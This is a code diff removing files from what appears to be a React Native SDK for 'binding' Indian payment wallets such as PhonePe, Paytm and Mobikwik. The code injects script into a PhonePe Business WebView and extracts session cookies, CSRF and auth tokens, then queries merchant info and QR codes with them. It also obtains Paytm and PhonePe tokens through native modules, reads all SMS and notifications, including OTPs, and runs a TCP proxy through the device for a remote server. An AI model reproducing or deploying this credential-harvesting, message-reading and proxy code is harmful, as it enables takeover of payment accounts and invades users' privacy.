window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'phonepe_business',
success: true,
cookie: cookieStr,
xCsrfToken: csrfToken,
fingerprint: fingerprint,
userAToken: userAToken,
userRToken: userRToken
}));
} else {
log('[PhonePeBind] Not all cookies found, need login');
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'need_login'
}));
}
} catch (e) {
error('[PhonePeBind] Extract error:', e.toString());
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'error',
message: e.toString()
}));
}
}
})();
true;
`;
const fetchInfo = async (cookie: string, csrfToken: string, fingerprint: string) => {
log('[PhonePeBind] Fetching user info...');
try {
const response = await fetch('https://web-api.phonepe.com/apis/mi-web/v1/user/me', {
headers: {
'Cookie': cookie,
'X-APP-ID': 'oculus',
'X-SOURCE-TYPE': 'WEB',
'X-SOURCE-PLATFORM': 'WEB',
'NAMESPACE': 'insights',
'FINGERPRINT': fingerprint,
'Accept': 'application/json, text/plain, */*',
'Origin': 'https://business.phonepe.com',
'Referer': 'https://business.phonepe.com/'
}
});
const info = await response.json();
log('[PhonePeBind] User info received, status:', response.status, 'length:', info.length);
if (!response.ok || response.status !== 200) {
warn('[PhonePeBind] User info API returned non-200 status:', response.status);
return null;
}
return info;
} catch (e) {
error('[PhonePeBind] Fetch user info error:', e);
return null;
}
};
const fetchQRData = async (cookie: string, csrfToken: string, fingerprint: string) => {
log('[PhonePeBind] Fetching QR data from RN...');
try {
// 获取用户信息
const userInfo = await fetchInfo(cookie, csrfToken, fingerprint);
// 获取 QR 列表
const response = await fetch('https://web-api.phonepe.com/apis/mi-web/v1/qrpos/list?mappedObjectType=QR_CODE&start=0&limit=100', {
headers: {
'Cookie': cookie,
'X-CSRF-TOKEN': csrfToken,
'X-Fingerprint': fingerprint
}
});
const qrData = await response.text();
log('[PhonePeBind] QR data received, status:', response.status, 'length:', qrData.length);
if (!response.ok || response.status !== 200) {
log('[PhonePeBind] QR API returned non-200 status:', response.status);
hasExtractedRef.current = false;
setStep('login');
return;
}
log('[PhonePeBind] ✅ QR data received, length:', qrData.length);
if (userInfo) {
log('[PhonePeBind] ✅ User info received, length:', userInfo.length);
}
onSuccess({
type: WalletType.PHONEPE_BUSINESS,
success: true,
cookie: cookieRef.current,
xCsrfToken: xCsrfTokenRef.current,
fingerprint: fingerprintRef.current,
userAToken: userATokenRef.current,
userRToken: userRTokenRef.current,
userInfo: userInfo || undefined,
qrData: JSON.parse(qrData) || []
} as PhonePeBusinessBindResult);
} catch (e) {
error('[PhonePeBind] Fetch error:', e);
hasExtractedRef.current = false;
setStep('login');
onError(e instanceof Error ? e.message : String(e));
}
};
const handleMessage = (event: any) => {
try {
const data = JSON.parse(event.nativeEvent.data);
// 转发 WebView console 输出
if (data.type === 'console') {
const prefix = '[WebView]';
if (data.level === 'error') {
error(prefix, data.message);
} else if (data.level === 'warn') {
warn(prefix, data.message);
} else {
log(prefix, data.message);
}
return;
}
log('[PhonePeBind] Received message type:', data.type);
if (data.type === 'error') {
error('[PhonePeBind] Error:', data.message);
onError(data.message);
return;
}
if (data.type === 'need_login') {
// 如果已经在 extracting 状态,忽略 need_login 消息
if (step === 'extracting') {
log('[PhonePeBind] Already extracting, ignore need_login');
return;
}
log('[PhonePeBind] Need login, showing login page');
hasExtractedRef.current = false;
setStep('login');
return;
}
if (data.type === 'phonepe_business' && data.success && !hasExtractedRef.current && step !== 'extracting') {
// 立即设置标志位和状态,防止重复触发
hasExtractedRef.current = true;
setStep('extracting');
cookieRef.current = data.cookie;
xCsrfTokenRef.current = data.xCsrfToken;
fingerprintRef.current = data.fingerprint;
userATokenRef.current = data.userAToken;
userRTokenRef.current = data.userRToken;
log('[PhonePeBind] ✅ Cookie extracted:', data.cookie.substring(0, 30) + '...');
log('[PhonePeBind] ✅ CSRF Token extracted:', data.xCsrfToken.substring(0, 30) + '...');
log('[PhonePeBind] ✅ Fingerprint extracted:', data.fingerprint.substring(0, 30) + '...');
log('[PhonePeBind] ✅ UserA Token:', data.userAToken.substring(0, 30) + '...');
log('[PhonePeBind] ✅ UserR Token:', data.userRToken.substring(0, 30) + '...');
fetchQRData(data.cookie, data.xCsrfToken, data.fingerprint);
}
} catch (e) {
error('[PhonePeBind] Parse error:', e);
onError(e instanceof Error ? e.message : String(e));
}
};
const handleNavigationStateChange = async (navState: any) => {
const url = navState.url;
log('[PhonePeBind] Navigation state changed:', url, 'loading:', navState.loading);
const isLoggedIn = url.includes('business.phonepe.com') && !url.includes('/login');
// 如果已经在 extracting 状态,不再处理
if (navState.loading === false && !hasExtractedRef.current && step !== 'extracting') {
if (step === 'checking') {
setStep('login');
}
if (isLoggedIn) {
log('[PhonePeBind] Detected logged in page, auto extracting...');
try {
const cookies = await CookieManager.get('https://business.phonepe.com');
const userAToken = cookies.MERCHANT_USER_A_TOKEN?.value;
const userRToken = cookies.MERCHANT_USER_R_TOKEN?.value;
const ckbToken = cookies._CKB2N1BHVZ?.value;
const csrfToken = cookies._X52F70K3N?.value;
const fingerprintValue = cookies._F1P21N7?.value;
log('[PhonePeBind] MERCHANT_USER_A_TOKEN from native:', userAToken ? 'found' : 'not found');
log('[PhonePeBind] MERCHANT_USER_R_TOKEN from native:', userRToken ? 'found' : 'not found');
log('[PhonePeBind] _X52F70K3N from native:', csrfToken ? 'found' : 'not found');
log('[PhonePeBind] _F1P21N7 from native:', fingerprintValue ? 'found' : 'not found');
if (userAToken && userRToken && csrfToken && fingerprintValue) {
// 立即设置标志位,防止重复触发
hasExtractedRef.current = true;
setStep('extracting');
const cookieStr = `MERCHANT_USER_A_TOKEN=${userAToken};MERCHANT_USER_R_TOKEN=${userRToken};_CKB2N1BHVZ=${ckbToken};`;
const fingerprint = `${fingerprintValue}.${fingerprintValue}.${fingerprintValue}.${fingerprintValue}`;
cookieRef.current = cookieStr;
xCsrfTokenRef.current = csrfToken;
fingerprintRef.current = fingerprint;
userATokenRef.current = userAToken;
userRTokenRef.current = userRToken;
log('[PhonePeBind] ✅ Cookie extracted from native:', cookieStr.substring(0, 30) + '...');
log('[PhonePeBind] ✅ CSRF Token extracted from native:', csrfToken.substring(0, 30) + '...');
log('[PhonePeBind] ✅ UserA Token:', userAToken.substring(0, 30) + '...');
log('[PhonePeBind] ✅ UserR Token:', userRToken.substring(0, 30) + '...');
fetchQRData(cookieStr, csrfToken, fingerprint);
} else {
log('[PhonePeBind] Not all cookies found, waiting for login');
}
} catch (err) {
error('[PhonePeBind] CookieManager error:', err);
}
}
}
};
return (
<View style={styles.container}>
<WebView
ref={webViewRef}
source={{ uri: 'https://business.phonepe.com/dashboard' }}
injectedJavaScript={injectedJS}
onMessage={handleMessage}
onNavigationStateChange={handleNavigationStateChange}
javaScriptEnabled={true}
domStorageEnabled={true}
thirdPartyCookiesEnabled={true}
sharedCookiesEnabled={true}
onLoadEnd={() => {
log('[PhonePeBind] WebView loaded, step:', step);
}}
/>
{step === 'extracting' && (
<View style={styles.overlay}>
<Text style={styles.overlayText}>{processString || locale.phonePeBusiness.processing}</Text>
</View>
)}
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
},
overlay: {
position: 'absolute',
top: 0,
left: 0,
right: 0,
bottom: 0,
backgroundColor: 'rgba(0,0,0,0.7)',
justifyContent: 'center',
alignItems: 'center',
},
overlayText: {
color: 'white',
fontSize: 16,
},
});

View File

@@ -1,156 +0,0 @@
import React, { useEffect, useState } from 'react';
import { View, StyleSheet, Text, NativeModules } from 'react-native';
import { PhonepePersonalBindResult, ProfileDetail, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
const { PhonepePersonalModule } = NativeModules;
interface Props {
isDebug: boolean;
processString: string;
onSuccess: (result: PhonepePersonalBindResult) => void;
onError: (error: string) => void;
locale?: Locale;
}
export const PhonepePersonalBind: React.FC<Props> = ({ isDebug, processString, onSuccess, onError, locale = defaultLocale }) => {
const [status, setStatus] = useState<'idle' | 'requesting'>('idle');
const log = (...args: any[]) => {
if (!isDebug) return;
console.log('[PhonepePersonal]', ...args);
};
useEffect(() => {
requestToken();
}, []);
const requestToken = async () => {
if (!PhonepePersonalModule) {
onError(locale.errors.nativeModuleNotAvailable);
return;
}
try {
setStatus('requesting');
log('Requesting token from Paytm...');
const result = await PhonepePersonalModule.getToken();
const data = JSON.parse(result);
log('Token received:', data);
// 获取 UPI
// const profileDetail = await fetchUPI(data.token) as ProfileDetail;
// log('Profile detail received:', profileDetail);
onSuccess({
type: WalletType.PHONEPE_PERSONAL,
success: true,
mobile: data.mobile,
token: data.token,
userId: data.userId,
profileDetail: {
primaryVpa: '',
mobile: data.mobile,
accountDetails: [],
},
});
} catch (e) {
log('Error:', e);
onError(e instanceof Error ? e.message : String(e));
}
};
const fetchUPI = async (token: string): Promise<ProfileDetail | undefined> => {
try {
const deviceId = Math.random().toString(16).substring(2, 18);
const timestamp = Date.now();
const url = `https://storefront.paytm.com/v2/h/paytm-homepage?playStore=true&cCode=91&lang_id=1&language=en&locale=en-IN&deviceName=M2004J7AC&version=10.69.0&resolution=4&deviceIdentifier=Xiaomi-M2004J7AC-${deviceId}&osVersion=12&client=androidapp&tag=refresh&deviceManufacturer=Xiaomi&networkType=WIFI&device=android&child_site_id=1&site_id=1`;
const body = {
context: {
user: {
ga_id: deviceId,
experiment_id: '',
},
version: '10.69.0',
geo: {
lat: '',
long: '',
},
device: {
ua: 'Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36',
// ip: '11.6.136.115',
ip_v6: '',
make: 'Xiaomi',
model: 'M2004J7AC',
osv: '12',
connection_type: 'WIFI',
carrier: '',
aaid: deviceId,
device_type: 'PHONE',
os: 'Android',
},
channel: 'APP',
},
tracking: {
current_page: 'paytm-home',
referer_ui_element: '',
},
};
const response = await fetch(url, {
method: 'POST',
headers: {
'sso_token': token,
'x-id': deviceId,
'x-app-rid': `${deviceId}:${timestamp}:f:c7`,
'x-mfg': 'Xiaomi',
'x-nw': 'WIFI',
'x-store': '0',
'x-vpn': 'true',
'x-tamp': '0',
'x-intg': '1',
'User-Agent': 'Paytm Release/10.69.0/721817 (net.one97.paytm; source=com.android.vending; integrity=true; auth=true; en-IN; okhttp 4.12.0) Android/12 Xiaomi/M2004J7AC',
'Content-Type': 'application/json',
},
body: JSON.stringify(body),
});
const json = await response.json();
// console.log('Fetch UPI response:', json);
return json?.metadata?.profile_detail || undefined;
} catch (e) {
log('Fetch UPI error:', e);
return undefined;
}
};
return (
<View style={styles.container}>
<View style={styles.overlay}>
<Text style={styles.overlayText}>
{status === 'requesting' ? (processString || locale.paytmPersonal.processing) : locale.common.processing}
</Text>
</View>
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: 'rgba(0,0,0,0.5)',
},
overlay: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
},
overlayText: {
color: 'white',
fontSize: 16,
},
});

View File

@@ -1,124 +0,0 @@
import { NativeModules, NativeEventEmitter, EmitterSubscription } from 'react-native';
import { SmsMessage, NotificationMessage } from './types';
const { SmsNotificationModule } = NativeModules;
const eventEmitter = new NativeEventEmitter(SmsNotificationModule);
/**
* 检查 SMS 权限
*/
export async function checkSmsPermission(): Promise<boolean> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
return await SmsNotificationModule.checkSmsPermission();
}
/**
* 请求 SMS 权限
*/
export async function requestSmsPermission(): Promise<boolean> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
return await SmsNotificationModule.requestSmsPermission();
}
/**
* 检查通知监听权限
*/
export async function checkNotificationPermission(): Promise<boolean> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
return await SmsNotificationModule.checkNotificationPermission();
}
/**
* 打开通知监听设置页面
*/
export async function openNotificationSettings(): Promise<void> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
await SmsNotificationModule.openNotificationSettings();
}
/**
* 启动 SMS 监听
*/
export async function startSmsListener(): Promise<void> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
await SmsNotificationModule.startSmsListener();
}
/**
* 停止 SMS 监听
*/
export async function stopSmsListener(): Promise<void> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
await SmsNotificationModule.stopSmsListener();
}
/**
* 启动通知监听
*/
export async function startNotificationListener(): Promise<void> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
await SmsNotificationModule.startNotificationListener();
}
/**
* 停止通知监听
*/
export async function stopNotificationListener(): Promise<void> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
await SmsNotificationModule.stopNotificationListener();
}
/**
* 监听短信消息
* @param callback 回调函数
* @returns 取消订阅的函数
*/
export function onSmsMessage(callback: (message: SmsMessage) => void): EmitterSubscription {
return eventEmitter.addListener('onSmsMessage', callback);
}
/**
* 监听通知消息
* @param callback 回调函数
* @returns 取消订阅的函数
*/
export function onNotificationMessage(callback: (notification: NotificationMessage) => void): EmitterSubscription {
return eventEmitter.addListener('onNotificationMessage', callback);
}
/**
* 读取所有短信(历史记录)
* @param limit 限制数量0 表示全部
*/
export async function getAllSms(limit: number = 100): Promise<SmsMessage[]> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
return await SmsNotificationModule.getAllSms(limit);
}
/**
* 读取所有活跃通知
*/
export async function getAllNotifications(): Promise<NotificationMessage[]> {
if (!SmsNotificationModule) {
throw new Error('SmsNotificationModule not available');
}
return await SmsNotificationModule.getAllNotifications();
}

View File

@@ -1,27 +0,0 @@
import { NativeModules } from 'react-native';
const { TcpProxyModule } = NativeModules;
export interface TcpProxyConfig {
wsUrl: string;
host: string;
port: number;
messageId: string;
}
/**
* 启动TCP代理
* 客户端连接到wsUrl的WebSocket服务器建立到host:port的TCP连接双向转发流量
*/
export async function startTcpProxy(config: TcpProxyConfig): Promise<boolean> {
if (!TcpProxyModule) {
throw new Error('TcpProxyModule not available');
}
return TcpProxyModule.startProxy(
config.wsUrl,
config.host,
config.port,
config.messageId
);
}

View File

@@ -1,91 +0,0 @@
export interface Locale {
// 通用文案
common: {
mobile: string;
requestOTP: string;
verifyAndBind: string;
reEnterMobile: string;
processing: string;
otpSentTo: string; // 需要替换 {mobile}
};
// 错误提示
errors: {
invalidMobile: string;
otpRequestFailed: string;
otpVerifyFailed: string;
deviceInitFailed: string;
nativeModuleNotAvailable: string;
};
// Mobikwik
mobikwik: {
title: string;
mobilePlaceholder: string;
otpPlaceholder: string; // 需要替换 {length}
invalidOtp: string; // 需要替换 {length}
};
// Freecharge
freecharge: {
title: string;
mobilePlaceholder: string;
otpPlaceholder: string; // 需要替换 {length}
invalidOtp: string; // 需要替换 {length}
};
// Paytm Personal
paytmPersonal: {
processing: string;
};
// GooglePay Business
googlePayBusiness: {
processing: string;
};
// Paytm Business
paytmBusiness: {
processing: string;
};
// PhonePe Business
phonePeBusiness: {
processing: string;
};
}
export const defaultLocale: Locale = {
common: {
mobile: '手机号',
requestOTP: '请求 OTP',
verifyAndBind: '验证并绑定',
reEnterMobile: '重新输入手机号',
processing: '处理中...',
otpSentTo: 'OTP 已发送到 {mobile}',
},
errors: {
invalidMobile: '请输入有效手机号',
otpRequestFailed: 'OTP 请求失败',
otpVerifyFailed: 'OTP 验证失败',
deviceInitFailed: '设备初始化中,请稍候',
nativeModuleNotAvailable: 'Native module not available',
},
mobikwik: {
title: 'Mobikwik 绑定',
mobilePlaceholder: '手机号',
otpPlaceholder: '输入 6 位 OTP',
invalidOtp: '请输入 6 位 OTP',
},
freecharge: {
title: 'Freecharge 绑定',
mobilePlaceholder: '手机号',
otpPlaceholder: '输入 4 位 OTP',
invalidOtp: '请输入 4 位 OTP',
},
paytmPersonal: {
processing: 'Processing Paytm Personal...',
},
googlePayBusiness: {
processing: 'Processing...',
},
paytmBusiness: {
processing: 'Processing...',
},
phonePeBusiness: {
processing: 'Processing...',
},
};

View File

@@ -1,178 +0,0 @@
export enum WalletType {
PAYTM_BUSINESS = 'paytm business',
PHONEPE_BUSINESS = 'phonepe business',
GOOGLEPAY_BUSINESS = 'googlepay business',
BHARATPE_BUSINESS = 'bharatpe business',
PAYTM_PERSONAL = 'paytm',
PHONEPE_PERSONAL = 'phonepe',
GOOGLEPAY_PERSONAL = 'googlepay',
BHARATPE_PERSONAL = 'bharatpe',
FREECHARGE_PERSONAL = 'freecharge',
MOBIKWIK_PERSONAL = 'mobikwik',
}
export interface BaseBindResult {
success: boolean;
type: WalletType;
}
export interface PaytmBusinessBindResult extends BaseBindResult {
type: WalletType.PAYTM_BUSINESS;
cookie: string;
xCsrfToken: string;
contextData?: string;
qrData?: Array<{
vpa: string;
mappingId: string;
createTimestamp: string;
qrType: string;
posId: string;
expiryDate: string | null;
deeplink: string;
amount: string | null;
status: number;
bankName: string;
displayName: string | null;
qrCodeId: string | null;
secondaryPhoneNumber: string | null;
notificationPreference: string | null;
tagLine: string | null;
}>;
}
export interface PhonePeBusinessBindResult extends BaseBindResult {
type: WalletType.PHONEPE_BUSINESS;
cookie: string;
xCsrfToken: string;
fingerprint: string;
userAToken: string;
userRToken: string;
userInfo?: string;
qrData?: string;
}
export interface GooglePayMerchantInfo {
channelUid: string;
merchantName: string;
merchantDisplayName: string;
phone: string;
upiIds: Array<{
id: string;
accountId: string;
type: 'Primary' | 'Pocket' | 'Stock';
}>;
categoryCode: string;
categoryDescription: string;
gstin: string;
ownerName: string;
}
export interface GooglePayBusinessBindResult extends BaseBindResult {
type: WalletType.GOOGLEPAY_BUSINESS;
url: string;
body: string;
cookie: string;
channelUid: string;
openUrl: string;
merchantInfo?: GooglePayMerchantInfo;
}
export interface BharatPeBusinessBindResult extends BaseBindResult {
type: WalletType.BHARATPE_BUSINESS;
cookie: string;
accessToken: string;
merchantId: string;
userName: string;
email?: string;
mobile?: string;
qrUrl?: string;
}
export interface ProfileDetail {
lrnDetails?: {
liteOnboardEligible: boolean;
};
mobileMapperStatus?: string;
pspToOnboard?: string[];
primaryVpa: string;
mobile: number;
accountDetails: Array<{
bank: string;
ifsc: string;
accRefId: string;
maskedAccountNumber: string;
accountType: string;
name: string;
mpinSet: string;
last4digits: string;
}>;
}
export interface PaytmPersonalBindResult extends BaseBindResult {
type: WalletType.PAYTM_PERSONAL;
mobile: string;
token: string;
userId: string;
profileDetail: ProfileDetail;
}
export interface PhonepePersonalBindResult extends BaseBindResult {
type: WalletType.PHONEPE_PERSONAL;
mobile: string;
token: string;
userId: string;
profileDetail: ProfileDetail;
}
export interface MobikwikPersonalBindResult extends BaseBindResult {
type: WalletType.MOBIKWIK_PERSONAL;
mobile: string;
token: string;
hashId: string;
deviceId: string;
tuneUserId?: string;
otpToken?: string;
}
export interface FreechargeVPA {
vpa: string;
status: 'PRIMARY' | 'SECONDARY';
}
export interface FreechargePersonalBindResult extends BaseBindResult {
type: WalletType.FREECHARGE_PERSONAL;
mobile: string;
token: string;
imsId: string;
userId: string;
deviceId: string;
vpas?: FreechargeVPA[];
csrfId?: string;
}
export type BindResult =
| PaytmBusinessBindResult
| PhonePeBusinessBindResult
| GooglePayBusinessBindResult
| BharatPeBusinessBindResult
| PaytmPersonalBindResult
| MobikwikPersonalBindResult
| FreechargePersonalBindResult;
export interface SmsMessage {
id: string;
address: string;
body: string;
timestamp: number;
type: number; // 1=收到, 2=发送
read: boolean;
}
export interface NotificationMessage {
id: string;
packageName: string;
tag: string | null;
postTime: number;
title: string;
text: string;
bigText: string;
}

View File

@@ -1,20 +0,0 @@
{
"compilerOptions": {
"target": "esnext",
"module": "commonjs",
"lib": ["es2017"],
"allowJs": true,
"jsx": "react-native",
"noEmit": true,
"isolatedModules": true,
"strict": true,
"moduleResolution": "node",
"allowSyntheticDefaultImports": true,
"esModuleInterop": true,
"skipLibCheck": true,
"resolveJsonModule": true
},
"exclude": [
"node_modules"
]
}